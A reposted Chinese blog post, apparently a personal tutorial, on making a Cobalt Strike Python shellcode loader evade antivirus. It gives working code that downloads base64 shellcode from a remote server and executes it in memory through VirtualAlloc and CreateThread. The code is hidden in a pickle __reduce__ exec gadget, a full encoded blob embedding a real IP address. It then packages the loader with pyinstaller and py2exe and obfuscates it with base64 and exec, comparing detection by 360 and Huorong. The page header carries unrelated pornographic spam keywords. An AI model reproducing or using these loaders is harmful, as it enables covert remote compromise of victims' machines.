日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > python >内容正文

python

python免杀技术---复现+改进----1

發(fā)布時間:2023/12/1 python 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python免杀技术---复现+改进----1 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

0x01 復(fù)現(xiàn)

復(fù)現(xiàn)文章:https://mp.weixin.qq.com/s?__biz=MzI3MzUwMTQwNg==&mid=2247484733&idx=2&sn=5b8f439c2998ce089eb44541d2da7a15&chksm=eb231%E2%80%A6

首先用cobaltstruke生成一個python的payload腳本

然后復(fù)制里面的payload進(jìn)行Base64編碼:加密地址為:http://tool.chinaz.com/tools/base64.aspx

第二步把剛剛生成的Base64丟到服務(wù)器里面進(jìn)行訪問

能看到這個就說明沒錯
然后下一步 把地址復(fù)制 進(jìn)行反序列化(重要!!)
代碼為:

import base64 import pickleshellcode = """ import ctypes,urllib.request,codecs,base64shellcode = urllib.request.urlopen('http://IP/1.txt').read() shellcode = base64.b64decode(shellcode) shellcode =codecs.escape_decode(shellcode)[0] shellcode = bytearray(shellcode) # 設(shè)置VirtualAlloc返回類型為ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申請內(nèi)存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) # 創(chuàng)建一個線程從shellcode防止位置首地址開始執(zhí)行 handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待上面創(chuàng)建的線程運(yùn)行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""class A(object):'''當(dāng)定義擴(kuò)展類型時(也就是使用Python的C語言API實(shí)現(xiàn)的類型),如果你想pickle它們,你必須告訴Python如何pickle它們。 __reduce__ 被定義之后,當(dāng)對象被Pickle時就會被調(diào)用。它要么返回一個代表全局名稱的字符串,Pyhton會查找它并pickle,要么返回一個元組。這個元組包含2到5個元素,其中包括:一個可調(diào)用的對象,用于重建對象時調(diào)用;一個參數(shù)元素,供那個可調(diào)用對象使用;被傳遞給 __setstate__ 的狀態(tài)(可選);一個產(chǎn)生被pickle的列表元素的迭代器(可選);一個產(chǎn)生被pickle的字典元素的迭代器(可選)exec態(tài)執(zhí)行python代碼。'''def __reduce__(self):return (exec, (shellcode,))ret = pickle.dumps(A()) ret_base64 = base64.b64encode(ret) print(ret_base64) #ret_decode = base64.b64decode(ret_base64)

在使用pickle.dumps(A())時,__reduce__自動被調(diào)用,會返回一個元組給dump進(jìn)行反序列化,元組的第一個元素是exec,第二個元素是exec的參數(shù),也就是shellcode,當(dāng)我們重建對象時就會調(diào)用自動調(diào)用exec函數(shù),也就是當(dāng)我們序列化時。ret的內(nèi)容是dump序話A()內(nèi)容
exec是動態(tài)執(zhí)行python代碼,這里就是把shellcode字符串的內(nèi)容當(dāng)做python代碼來執(zhí)行。

運(yùn)行結(jié)果:

我們把這串代碼復(fù)制到此腳本進(jìn)行生成

import base64,pickle,ctypes,urllib.request shellcode =b'gANjYnVpbHRpbnMKZXhlYwpxAFgvBAAACmltcG9ydCBjdHlwZXMsdXJsbGliLnJlcXVlc3QsY29kZWNzLGJhc2U2NAoKc2hlbGxjb2RlID0gdXJsbGliLnJlcXVlc3QudXJsb3BlbignaHR0cDovLzQ3LjExMC4xMzYuODIvMS50eHQnKS5yZWFkKCkKc2hlbGxjb2RlID0gYmFzZTY0LmI2NGRlY29kZShzaGVsbGNvZGUpCnNoZWxsY29kZSA9Y29kZWNzLmVzY2FwZV9kZWNvZGUoc2hlbGxjb2RlKVswXQpzaGVsbGNvZGUgPSBieXRlYXJyYXkoc2hlbGxjb2RlKQojIOiuvue9rlZpcnR1YWxBbGxvY+i/lOWbnuexu+Wei+S4umN0eXBlcy5jX3VpbnQ2NApjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CiMg55Sz6K+35YaF5a2YCnB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksIGN0eXBlcy5jX2ludCgweDQwKSkKCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgYnVmLCAKICAgIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkKKQojIOWIm+W7uuS4gOS4que6v+eoi+S7jnNoZWxsY29kZemYsuatouS9jee9rummluWcsOWdgOW8gOWni+aJp+ihjApoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZCgKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMuY19pbnQoMCksIAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksIAogICAgY3R5cGVzLmNfaW50KDApLCAKICAgIGN0eXBlcy5jX2ludCgwKSwgCiAgICBjdHlwZXMucG9pbnRlcihjdHlwZXMuY19pbnQoMCkpCikKIyDnrYnlvoXkuIrpnaLliJvlu7rnmoTnur/nqIvov5DooYzlrowKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkpcQGFcQJScQMu' pickle.loads(base64.b64decode(shellcode))

然后點(diǎn)擊運(yùn)行你會發(fā)現(xiàn) 在cs里面成功上線了一臺機(jī)器

最后們利用pyinstaller這個腳本進(jìn)行打包成exe

pyinstaller -F test2.py --noconsole -i icon.ico

生成完畢的exe在dist目錄下
最后我們在測試一下能不能運(yùn)行,可以上線

查殺:
360殺毒直接查殺,可以直接過火絨:

0x02 改進(jìn)

方法1 使用py2exe打包

首先安裝py2exe文件,在相同目錄下新建文件setup.py,里面內(nèi)容為:

from distutils.core import setup import py2exesetup(console=['test2.py'])

然后運(yùn)行:

python setup.py py2exe

將會生成exe文件,在dist目錄下,可以過火絨和360殺毒


但是進(jìn)行云查殺時,被查殺出來了

方法2 混淆語句

繼續(xù)干,試試混淆語句
我們將下面這句話用base64加密,然后用eval執(zhí)行

pickle.loads(base64.b64decode(buf))

結(jié)果為:

cGlja2xlLmxvYWRzKGJhc2U2NC5iNjRkZWNvZGUoYnVmKSk=

程序:


修改程序?yàn)?#xff0c;這里把原來buf也放在了服務(wù)器上了:

import base64,pickle,ctypes,urllib.requestbuf = urllib.request.urlopen('http://IP/2.txt').read() #print(buf) string = "cGlja2xlLmxvYWRzKGJhc2U2NC5iNjRkZWNvZGUoYnVmKSk=" exec(base64.b64decode(string))

使用pyinstaller打包


但是360殺毒查殺出來了,wc,搞個免殺太難了。

使用py2exe打包,360都沒有檢測出來


啊啊啊啊!終于成功了

0x03 總結(jié)

這遍文章重點(diǎn)關(guān)注打包,序列化和反序列話,載荷分離是如何做到的,希望一個星期內(nèi),自己寫一個加載器免殺的文章。

還有很多細(xì)節(jié)問題沒吸收,明天再看一遍。

最后:欣醬NB!!!!

總結(jié)

以上是生活随笔為你收集整理的python免杀技术---复现+改进----1的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。